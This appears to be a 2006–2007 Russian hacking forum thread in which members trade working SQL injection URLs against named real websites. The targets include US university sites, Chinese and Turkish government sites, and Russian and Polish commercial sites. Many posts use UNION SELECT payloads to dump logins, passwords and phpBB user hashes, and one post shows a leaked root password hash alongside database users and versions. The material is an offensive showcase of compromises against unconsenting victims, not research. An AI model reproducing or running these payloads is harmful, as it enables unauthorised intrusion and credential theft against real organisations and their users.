SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://www.worldbrand.pl/index.php?id=-1+union+select+1,2,3,concat(login,char(58),pass),5,6+from+worldbrand.users+limit+0,1/*
     
    1 person likes this.
  2. NighSh

    NighSh New Member

    Joined:
    20 Nov 2006
    Messages:
    19
    Likes Received:
    1
    Reputations:
    1
    Code:
    http://sonyericsson-club.ru/news/phone-9999+union+select+1,2,3,44,concat(user(),0x3a,version(),0x3a,database()),6.html

    Поля не смог подобрать... если кто подберет отпишите. Просто интересно стоит оно того или нет ) А то это моя первая скуля тут )))
     
  3. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    http://schwein.ru
    Code:
    http://schwein.ru/news/index.php?page=single&rec=-1%20union%20select%200,version(),user(),3,database(),5/*
     
  4. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Mssql

    Arizona State University
    www.asu.edu
    Code:
    http://knowledge.wpcarey.asu.edu/index.cfm?fa=viewCat&CID=-1+or+1=(select+system_user)--
    user: asu_user
    db_name: ASU_DB
    version: Microsoft SQL Server 2005 - 9.00.3159.00
    Таблица и столбцы вываливаются в ошибке
     
  5. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    http://www.lzsafety.gov.cn/news-print.php?id='

    PHP:
    http://www.lzsafety.gov.cn/news-print.php?id='+union+select+table_name,2,3,4+from+information_schema.tables+limit+107,1/*
    PHP:
    http://www.lzsafety.gov.cn/news-print.php?id='+union+select+column_name,2,3,4+from+information_schema.columns/*

    PHP:
    http://www.lzsafety.gov.cn/news-print.php?id='+union+select+concat(user,char(58),pass),2,3,4+from+admin/*



    root:*FA450863BE8C1DF3DCCE22B20EB630A7A55CCA39
     
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Партия .edu

    Code:
    http://gopanthers.fit.edu/sports_info/view.php?id=-11+union+select+1,2,3,4/*
    http://www.montana.edu/cpa/news/nwview.php?article=-4862+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
    ,20,21,22,23/*
    
    Не подобрал:
    Code:
    http://bchs.uh.edu/news.php?news=-68+union+select+1/*
    http://www.metropolitan.edu/news/newsdetail.php?id=-231+union+select+1,2,3,4/*
    http://www.umtri.umich.edu/news.php?id=1455+union+select+1,2,3/*
    http://www.mlml.calstate.edu/news/newsdetail.php?nid=-34+union+select+1,2,3,4,5,6,7,8,9/*
    
     
    1 person likes this.
  7. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.taksa-shop.ru/index.php?id=-1+union+select+1,password+from+users/*
    limit в помощью. Ответ от БД сморим в теги <title></title>
     
    1 person likes this.
  8. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    http://www.lada-auto.ru
    Type: Oracle
    Code:
    http://www.lada-auto.ru/cgi-bin/news.pl?id=-1'
     
  9. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    gov.tr
    Code:
    http://www.karabuk.gov.tr/giris/haber.php?id=582345678&kategori=-1'
    
    HTML:
    http://www.casgem.gov.tr/duyuru.php?uid=-13245'%20union%20select%200,user(),version(),database(),4/*&view=1
    uname : casgemuser2@localhost
    db: casgemdb2
    ver: 4.1.20
     
    1 person likes this.
  10. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    to Кузьмич
    Третья версия mysql по-этому и нет union, надо перебором фигачить ;)

    Здесь 7 столбцов, 5 принтабельный смотри в title;)
     
    #2290 [53x]Shadow, 26 May 2007
    Last edited: 26 May 2007
  11. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Вот ещё .edu
    Code:
    http://rpitv.union.rpi.edu/news.php?newsid=-5+union+select+version(),2,3,4/*
    http://gopanthers.fit.edu/sports_info/view.php?id=-11+union+select+1,2,3,4/*
    
     
    1 person likes this.
  12. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    799
    Likes Received:
    710
    Reputations:
    301
    Показал бы хоть что умеешь выводить =\
    Code:
    http://gopanthers.fit.edu/sports_info/view.php?id=-11+union+select+1,2,[B]convert(concat_ws(char(58),user(),version(),database()+using+latin1)[/B],4/*
     
    2 people like this.
  13. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    sql

    9000+ записей
     
    2 people like this.
  14. XenOtai

    XenOtai Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    25
    Likes Received:
    17
    Reputations:
    16
    Code:
    http://www.olympus.ru/customers/manuals/'-1+union+select+1,2,3/*
     
    1 person likes this.
  15. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    =>
     
    3 people like this.
  16. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Блин, .edu уже кажись кончаются! :D :D :D
    Code:
    http://www.leiden.edu/students/index.php3?c=-46+union+select+version()/*
     
    1 person likes this.
  17. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    :) первая моя нормальная скуля ))
    Токо я больше ничего сделать не смог :)))
     
    1 person likes this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    вот инъекция на icq.com, но использовать ее не получится, т.к. там стоит ограничение на количество знаков, но факт в том, что инъекция есть
    Code:
    http://www.icq.com/boards/view_posts.php?uin=261634063-1
     
  19. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    cont

    NOmeR1, гляди :)

    есть таблицы: user_list (login,pwd,email,admin)
    http://www.autoteatr.ru/catalog.php?id=-2494+union+select+1,concat_ws(0x3a,login,pwd,email,admin),3,4,5,6,7,8,9,10,11,12,13+from+user_list+limit+0,1/*

    причем пароли открытые)

    phpbb_users со всеми вытекающими.. (username,user_password и т.д.)
    http://www.autoteatr.ru/catalog.php?id=-2494+union+select+1,concat_ws(0x3a,user_id,username,user_password,user_email),3,4,5,6,7,8,9,10,11,12,13+from+phpbb_users+limit+1,1/*

    зы. ищи внимательней ;)
     
    #2299 Серенький, 27 May 2007
    Last edited: 27 May 2007
  20. Boccob

    Boccob Elder - Старейшина

    Joined:
    4 May 2007
    Messages:
    37
    Likes Received:
    18
    Reputations:
    1
    Сайт по сути большая доска объявлений о продаже автомобилей:
     
Loading...
Thread Status:
Not open for further replies.